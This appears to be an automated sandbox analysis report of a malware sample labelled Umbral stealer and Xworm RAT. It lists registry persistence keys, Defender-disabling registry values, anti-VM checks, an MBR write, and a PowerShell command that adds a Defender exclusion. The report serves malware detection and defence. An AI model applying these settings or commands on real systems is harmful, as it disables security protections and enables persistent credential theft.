umbral | 416e65650c0e2c368a1de8ec1c39432616ab767bf215d979f614719101e2f890

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\ShellExperienceHost.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\ShellExperienceHost.exe\", \"C:\\HypercomponentCommon\\lsass.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\ShellExperienceHost.exe\", \"C:\\HypercomponentCommon\\lsass.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\uk-UA\\Idle.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\ShellExperienceHost.exe\", \"C:\\HypercomponentCommon\\lsass.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\uk-UA\\Idle.exe\", \"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\fontdrvhost.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\", \"C:\\Recovery\\WindowsRE\\ShellExperienceHost.exe\", \"C:\\HypercomponentCommon\\lsass.exe\", \"C:\\Program Files (x86)\\Windows Media Player\\uk-UA\\Idle.exe\", \"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\fontdrvhost.exe\", \"C:\\HypercomponentCommon\\hyperSurrogateagentCrt.exe\""	hyperSurrogateagentCrt.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1620	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3600	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1332	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2656	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4656	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5092	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3296	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2824	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3960	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2724	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4884	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3272	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2224	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2208	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3984	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1556	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4136	3556	schtasks.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4204	3556	schtasks.exe	85

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	XClient.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe
4804	powershell.exe
3676	powershell.exe
4496	powershell.exe
2956	powershell.exe
2768	powershell.exe
2192	powershell.exe
4904	powershell.exe
3792	powershell.exe
512	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	XClient.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Maicrasoft OneDrive.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Maicrasoft OneDrive.lnk	XClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DC1TE4DXG9UMEFE.lnk	DC1TE4DXG9UMEFE.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DC1TE4DXG9UMEFE.lnk	DC1TE4DXG9UMEFE.exe

Executes dropped EXE 7 IoCs

pid	Process
3780	XClient.exe
96	Umbral.exe
2764	DC1TE4DXG9UMEFE.exe
4084	EOD3ADWITUZK9VO.exe
1408	hyperSurrogateagentCrt.exe
3612	lsass.exe
3648	DC1TE4DXG9UMEFE.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	XClient.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 14 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Program Files (x86)\\Windows Media Player\\uk-UA\\Idle.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\Maicrasoft OneDrive = "C:\\Users\\Admin\\AppData\\Roaming\\Maicrasoft OneDrive.exe"	XClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Recovery\\WindowsRE\\sppsvc.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\HypercomponentCommon\\lsass.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsass = "\"C:\\HypercomponentCommon\\lsass.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShellExperienceHost = "\"C:\\Recovery\\WindowsRE\\ShellExperienceHost.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShellExperienceHost = "\"C:\\Recovery\\WindowsRE\\ShellExperienceHost.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\fontdrvhost.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\hyperSurrogateagentCrt = "\"C:\\HypercomponentCommon\\hyperSurrogateagentCrt.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\hyperSurrogateagentCrt = "\"C:\\HypercomponentCommon\\hyperSurrogateagentCrt.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\DC1TE4DXG9UMEFE = "C:\\Users\\Admin\\AppData\\Roaming\\DC1TE4DXG9UMEFE.exe"	DC1TE4DXG9UMEFE.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Recovery\\WindowsRE\\sppsvc.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Program Files (x86)\\Windows Media Player\\uk-UA\\Idle.exe\""	hyperSurrogateagentCrt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\fontdrvhost.exe\""	hyperSurrogateagentCrt.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	XClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
16	raw.githubusercontent.com
17	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	XClient.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	\??\c:\Windows\System32\CSCA5F24F8A55DD4BDA95D1424A42601FEA.TMP	csc.exe
File created	\??\c:\Windows\System32\b5-3tw.exe	csc.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
4676	FunCheker.exe
4676	FunCheker.exe
3780	XClient.exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\fontdrvhost.exe	hyperSurrogateagentCrt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\fontdrvhost.exe	hyperSurrogateagentCrt.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\5b884080fd4f94	hyperSurrogateagentCrt.exe
File created	C:\Program Files (x86)\Windows Media Player\uk-UA\Idle.exe	hyperSurrogateagentCrt.exe
File created	C:\Program Files (x86)\Windows Media Player\uk-UA\6ccacd8608530f	hyperSurrogateagentCrt.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe
File created	C:\Windows\diagnostics\index\dllhost.exe	hyperSurrogateagentCrt.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings	EOD3ADWITUZK9VO.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings	hyperSurrogateagentCrt.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 20 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2724	schtasks.exe
1556	schtasks.exe
1620	schtasks.exe
2824	schtasks.exe
3960	schtasks.exe
4204	schtasks.exe
3600	schtasks.exe
2656	schtasks.exe
2224	schtasks.exe
3296	schtasks.exe
4884	schtasks.exe
2208	schtasks.exe
2804	schtasks.exe
1332	schtasks.exe
4656	schtasks.exe
3984	schtasks.exe
4136	schtasks.exe
2824	schtasks.exe
5092	schtasks.exe
3272	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3780	XClient.exe
3780	XClient.exe
3792	powershell.exe
3792	powershell.exe
3792	powershell.exe
512	powershell.exe
512	powershell.exe
512	powershell.exe
4804	powershell.exe
4804	powershell.exe
1196	taskmgr.exe
1196	taskmgr.exe
4804	powershell.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
3780	XClient.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1408	hyperSurrogateagentCrt.exe
1408	hyperSurrogateagentCrt.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	96	Umbral.exe
Token: SeIncreaseQuotaPrivilege	1488	wmic.exe
Token: SeSecurityPrivilege	1488	wmic.exe
Token: SeTakeOwnershipPrivilege	1488	wmic.exe
Token: SeLoadDriverPrivilege	1488	wmic.exe
Token: SeSystemProfilePrivilege	1488	wmic.exe
Token: SeSystemtimePrivilege	1488	wmic.exe
Token: SeProfSingleProcessPrivilege	1488	wmic.exe
Token: SeIncBasePriorityPrivilege	1488	wmic.exe
Token: SeCreatePagefilePrivilege	1488	wmic.exe
Token: SeBackupPrivilege	1488	wmic.exe
Token: SeRestorePrivilege	1488	wmic.exe
Token: SeShutdownPrivilege	1488	wmic.exe
Token: SeDebugPrivilege	1488	wmic.exe
Token: SeSystemEnvironmentPrivilege	1488	wmic.exe
Token: SeRemoteShutdownPrivilege	1488	wmic.exe
Token: SeUndockPrivilege	1488	wmic.exe
Token: SeManageVolumePrivilege	1488	wmic.exe
Token: 33	1488	wmic.exe
Token: 34	1488	wmic.exe
Token: 35	1488	wmic.exe
Token: 36	1488	wmic.exe
Token: SeIncreaseQuotaPrivilege	1488	wmic.exe
Token: SeSecurityPrivilege	1488	wmic.exe
Token: SeTakeOwnershipPrivilege	1488	wmic.exe
Token: SeLoadDriverPrivilege	1488	wmic.exe
Token: SeSystemProfilePrivilege	1488	wmic.exe
Token: SeSystemtimePrivilege	1488	wmic.exe
Token: SeProfSingleProcessPrivilege	1488	wmic.exe
Token: SeIncBasePriorityPrivilege	1488	wmic.exe
Token: SeCreatePagefilePrivilege	1488	wmic.exe
Token: SeBackupPrivilege	1488	wmic.exe
Token: SeRestorePrivilege	1488	wmic.exe
Token: SeShutdownPrivilege	1488	wmic.exe
Token: SeDebugPrivilege	1488	wmic.exe
Token: SeSystemEnvironmentPrivilege	1488	wmic.exe
Token: SeRemoteShutdownPrivilege	1488	wmic.exe
Token: SeUndockPrivilege	1488	wmic.exe
Token: SeManageVolumePrivilege	1488	wmic.exe
Token: 33	1488	wmic.exe
Token: 34	1488	wmic.exe
Token: 35	1488	wmic.exe
Token: 36	1488	wmic.exe
Token: SeDebugPrivilege	3780	XClient.exe
Token: SeDebugPrivilege	3792	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeDebugPrivilege	4804	powershell.exe
Token: SeDebugPrivilege	1196	taskmgr.exe
Token: SeSystemProfilePrivilege	1196	taskmgr.exe
Token: SeCreateGlobalPrivilege	1196	taskmgr.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	3780	XClient.exe
Token: SeDebugPrivilege	2764	DC1TE4DXG9UMEFE.exe
Token: SeDebugPrivilege	1408	hyperSurrogateagentCrt.exe
Token: SeDebugPrivilege	2764	DC1TE4DXG9UMEFE.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeIncreaseQuotaPrivilege	3676	powershell.exe
Token: SeSecurityPrivilege	3676	powershell.exe
Token: SeTakeOwnershipPrivilege	3676	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3780	XClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4676 wrote to memory of 3780	4676	FunCheker.exe	73
PID 4676 wrote to memory of 3780	4676	FunCheker.exe	73
PID 4676 wrote to memory of 3780	4676	FunCheker.exe	73
PID 4676 wrote to memory of 5116	4676	FunCheker.exe	74
PID 4676 wrote to memory of 5116	4676	FunCheker.exe	74
PID 4676 wrote to memory of 1800	4676	FunCheker.exe	75
PID 4676 wrote to memory of 1800	4676	FunCheker.exe	75
PID 4676 wrote to memory of 3120	4676	FunCheker.exe	76
PID 4676 wrote to memory of 3120	4676	FunCheker.exe	76
PID 4676 wrote to memory of 96	4676	FunCheker.exe	77
PID 4676 wrote to memory of 96	4676	FunCheker.exe	77
PID 3120 wrote to memory of 2748	3120	cmd.exe	81
PID 3120 wrote to memory of 2748	3120	cmd.exe	81
PID 96 wrote to memory of 1488	96	Umbral.exe	82
PID 96 wrote to memory of 1488	96	Umbral.exe	82
PID 1800 wrote to memory of 2460	1800	cmd.exe	84
PID 1800 wrote to memory of 2460	1800	cmd.exe	84
PID 3120 wrote to memory of 3736	3120	cmd.exe	86
PID 3120 wrote to memory of 3736	3120	cmd.exe	86
PID 3120 wrote to memory of 1860	3120	cmd.exe	87
PID 3120 wrote to memory of 1860	3120	cmd.exe	87
PID 3120 wrote to memory of 3500	3120	cmd.exe	88
PID 3120 wrote to memory of 3500	3120	cmd.exe	88
PID 3120 wrote to memory of 3248	3120	cmd.exe	89
PID 3120 wrote to memory of 3248	3120	cmd.exe	89
PID 3120 wrote to memory of 428	3120	cmd.exe	90
PID 3120 wrote to memory of 428	3120	cmd.exe	90
PID 3120 wrote to memory of 5096	3120	cmd.exe	91
PID 3120 wrote to memory of 5096	3120	cmd.exe	91
PID 3120 wrote to memory of 1876	3120	cmd.exe	92
PID 3120 wrote to memory of 1876	3120	cmd.exe	92
PID 3120 wrote to memory of 800	3120	cmd.exe	93
PID 3120 wrote to memory of 800	3120	cmd.exe	93
PID 3120 wrote to memory of 3776	3120	cmd.exe	94
PID 3120 wrote to memory of 3776	3120	cmd.exe	94
PID 3120 wrote to memory of 1032	3120	cmd.exe	95
PID 3120 wrote to memory of 1032	3120	cmd.exe	95
PID 3120 wrote to memory of 772	3120	cmd.exe	96
PID 3120 wrote to memory of 772	3120	cmd.exe	96
PID 3120 wrote to memory of 1856	3120	cmd.exe	97
PID 3120 wrote to memory of 1856	3120	cmd.exe	97
PID 3120 wrote to memory of 4988	3120	cmd.exe	98
PID 3120 wrote to memory of 4988	3120	cmd.exe	98
PID 3120 wrote to memory of 2876	3120	cmd.exe	99
PID 3120 wrote to memory of 2876	3120	cmd.exe	99
PID 3120 wrote to memory of 4496	3120	cmd.exe	100
PID 3120 wrote to memory of 4496	3120	cmd.exe	100
PID 3120 wrote to memory of 4804	3120	cmd.exe	101
PID 3120 wrote to memory of 4804	3120	cmd.exe	101
PID 3120 wrote to memory of 4624	3120	cmd.exe	102
PID 3120 wrote to memory of 4624	3120	cmd.exe	102
PID 3120 wrote to memory of 5072	3120	cmd.exe	103
PID 3120 wrote to memory of 5072	3120	cmd.exe	103
PID 3120 wrote to memory of 440	3120	cmd.exe	104
PID 3120 wrote to memory of 440	3120	cmd.exe	104
PID 3120 wrote to memory of 4880	3120	cmd.exe	105
PID 3120 wrote to memory of 4880	3120	cmd.exe	105
PID 3120 wrote to memory of 3460	3120	cmd.exe	106
PID 3120 wrote to memory of 3460	3120	cmd.exe	106
PID 3120 wrote to memory of 512	3120	cmd.exe	107
PID 3120 wrote to memory of 512	3120	cmd.exe	107
PID 3120 wrote to memory of 4584	3120	cmd.exe	108
PID 3120 wrote to memory of 4584	3120	cmd.exe	108
PID 3120 wrote to memory of 2656	3120	cmd.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\FunCheker.exe
"C:\Users\Admin\AppData\Local\Temp\FunCheker.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:4676
- C:\Users\Admin\AppData\Local\Temp\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Drops startup file
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3780
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
